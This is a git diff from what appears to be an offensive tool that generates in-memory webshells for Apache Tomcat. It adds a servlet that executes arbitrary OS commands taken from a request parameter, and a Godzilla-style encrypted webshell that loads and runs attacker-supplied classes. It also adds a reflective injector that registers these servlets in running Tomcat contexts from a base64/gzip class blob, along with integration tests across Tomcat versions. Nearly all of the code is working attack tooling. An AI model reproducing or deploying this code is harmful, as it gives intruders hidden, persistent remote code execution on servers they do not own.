diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java index 8736889..6a94daf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/TomcatShell.java @@ -2,15 +2,12 @@ import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.AbstractShell; -import com.reajason.javaweb.memsell.tomcat.command.CommandFilter; -import com.reajason.javaweb.memsell.tomcat.command.CommandListener; -import com.reajason.javaweb.memsell.tomcat.command.CommandValve; +import com.reajason.javaweb.memsell.tomcat.command.*; import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter; import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaServlet; import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; -import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector; -import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector; -import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector; +import com.reajason.javaweb.memsell.tomcat.injector.*; import org.apache.commons.lang3.tuple.Pair; import java.util.List; @@ -37,6 +34,8 @@ public List getSupportedShellTools() { @Override protected Map, Class>> getCommandShellMap() { return Map.of( + SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class), + JAKARTA_SERVLET, Pair.of(CommandServlet.class, TomcatServletInjector.class), FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class), LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class), @@ -49,6 +48,8 @@ protected Map, Class>> getCommandShellMap() { @Override protected Map, Class>> getGodzillaShellMap() { return Map.of( + SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class), + JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, TomcatServletInjector.class), FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class), JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class), LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class), diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java new file mode 100644 index 0000000..2a4085a --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/command/CommandServlet.java @@ -0,0 +1,40 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class CommandServlet extends HttpServlet { + public String paramName = "{{paramName}}"; + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + doPost(req, resp); + } + + @Override + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java new file mode 100644 index 0000000..324c125 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaServlet.java @@ -0,0 +1,139 @@ +package com.reajason.javaweb.memsell.tomcat.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class GodzillaServlet extends ClassLoader implements Servlet { + + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } + } catch (Exception ignored) { + + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } + + public GodzillaServlet() { + } + + public GodzillaServlet(ClassLoader parent) { + super(parent); + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatServletInjector.java new file mode 100644 index 0000000..cbdce60 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatServletInjector.java @@ -0,0 +1,301 @@ +package com.reajason.javaweb.memsell.tomcat.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.*; +import java.util.*; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class TomcatServletInjector { + static { + new TomcatServletInjector(); + } + + public TomcatServletInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object servlet = getServlet(context); + if (servlet == null) { + continue; + } + addServlet(context, servlet); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + static Object getFV(Object obj, String fieldName) throws Exception { + try { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } catch (Exception e) { + return null; + } + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + Field field = getF(obj, fieldName); + field.set(obj, value); + } + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + @SuppressWarnings("all") + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) { + contexts.add(context); + } + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) { + contexts.add(context); + } + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + private Object getServlet(Object context) { + Object servlet = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + servlet = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + servlet = clazz.newInstance(); + } catch (Throwable ee) { + ee.printStackTrace(); + } + } + return servlet; + } + + @SuppressWarnings("all") + public void addServlet(Object context, Object servlet) throws Exception { + if (isInjected(context)) { + System.out.println("servlet already injected"); + return; + } + try { + Class containerClass = null; + try { + containerClass = Class.forName("org.apache.catalina.Container"); + } catch (ClassNotFoundException var12) { + containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader()); + } + + Object wrapper = invokeMethod(context, "createWrapper"); + invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(wrapper, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1}); + setFieldValue(wrapper, "instance", servlet); + invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()}); + invokeMethod(context, "addChild", new Class[]{containerClass}, new Object[]{wrapper}); + + try { + invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()}); + } catch (NoSuchMethodException var11) { + invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false}); + } + support56Inject(context, wrapper); + System.out.println("servlet inject success"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @SuppressWarnings("all") + public boolean isInjected(Object context) throws Exception { + Map servletMappings = (Map) getFV(context, "servletMappings"); + Collection values = servletMappings.values(); + for (String name : values) { + System.out.println(name); + if (name.equals(getClassName())) { + return true; + } + } + return false; + } + + private void support56Inject(Object context, Object wrapper) throws Exception { + Class serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader()); + String number = (String) invokeMethod(serverInfo, "getServerNumber"); + if (!number.startsWith("5") && !number.startsWith("6")) { + return; + } + Object connectors = getFV(getFV(getFV(getFV(context, "parent"), "parent"), "service"), "connectors"); + int connectorsLength = Array.getLength(connectors); + for (int i = 0; i < connectorsLength; ++i) { + Object connector = Array.get(connectors, i); + String protocolHandlerClassName = (String) getFV(connector, "protocolHandlerClassName"); + if (!protocolHandlerClassName.contains("Http")) { + continue; + } + Object contexts = getFV(getFV(Array.get(getFV(getFV(connector, "mapper"), "hosts"), 0), "contextList"), "contexts"); + int contextsLength = Array.getLength(contexts); + for (int j = 0; j < contextsLength; ++j) { + Object o = Array.get(contexts, j); + if (getFV(o, "object") != context) { + continue; + } + Class mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader()); + Class wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader()); + Constructor declaredConstructor = wrapperClazz.getDeclaredConstructors()[0]; + declaredConstructor.setAccessible(true); + Object newWrapper = declaredConstructor.newInstance(); + setFieldValue(newWrapper, "object", wrapper); + setFieldValue(newWrapper, "jspWildCard", false); + setFieldValue(newWrapper, "name", getUrlPattern()); + + Object exactWrappers = getFV(o, "exactWrappers"); + int length = Array.getLength(exactWrappers); + Object newWrappers = Array.newInstance(wrapperClazz, length + 1); + Class mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader()); + Class mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass(); + invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper}); + setFieldValue(o, "exactWrappers", newWrappers); + } + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 25d2a5f..b8756b7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -14,7 +14,14 @@ @Slf4j public class ShellAssertionTool { public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { + String shellUrl = url + "/test"; + InjectorConfig injectorConfig = new InjectorConfig(); + if (shellType.endsWith(Constants.SERVLET)) { + String urlPattern = "/" + shellTool + shellType + packer.name(); + shellUrl = url + urlPattern; + injectorConfig.setUrlPattern(urlPattern); + } ShellConfig shellConfig = ShellConfig.builder() .server(server) @@ -24,7 +31,7 @@ public static void testShellInjectAssertOk(String url, Server server, String she .debug(true) .build(); - String shellUrl = url + "/test"; + switch (shellTool) { case Godzilla: String pass = "pass"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 894c1be..a8eab41 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -41,6 +41,10 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index b239a95..6fd8e38 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -42,6 +42,8 @@ public class Tomcat11ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 8c39595..542bb10 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -41,7 +41,10 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException +// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), @@ -58,6 +61,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index bc47332..8bfbc1b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -41,7 +41,10 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException +// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), +// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index aba7317..6a6df1f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -41,6 +41,10 @@ public class Tomcat7ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 4776999..ed49910 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -41,6 +41,12 @@ public class Tomcat8ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 73567fe..15e1bdd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -41,6 +41,10 @@ public class Tomcat9ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), @@ -59,6 +63,7 @@ static Stream casesProvider() { @AfterAll static void tearDown() { String logs = container.getLogs(); + log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); }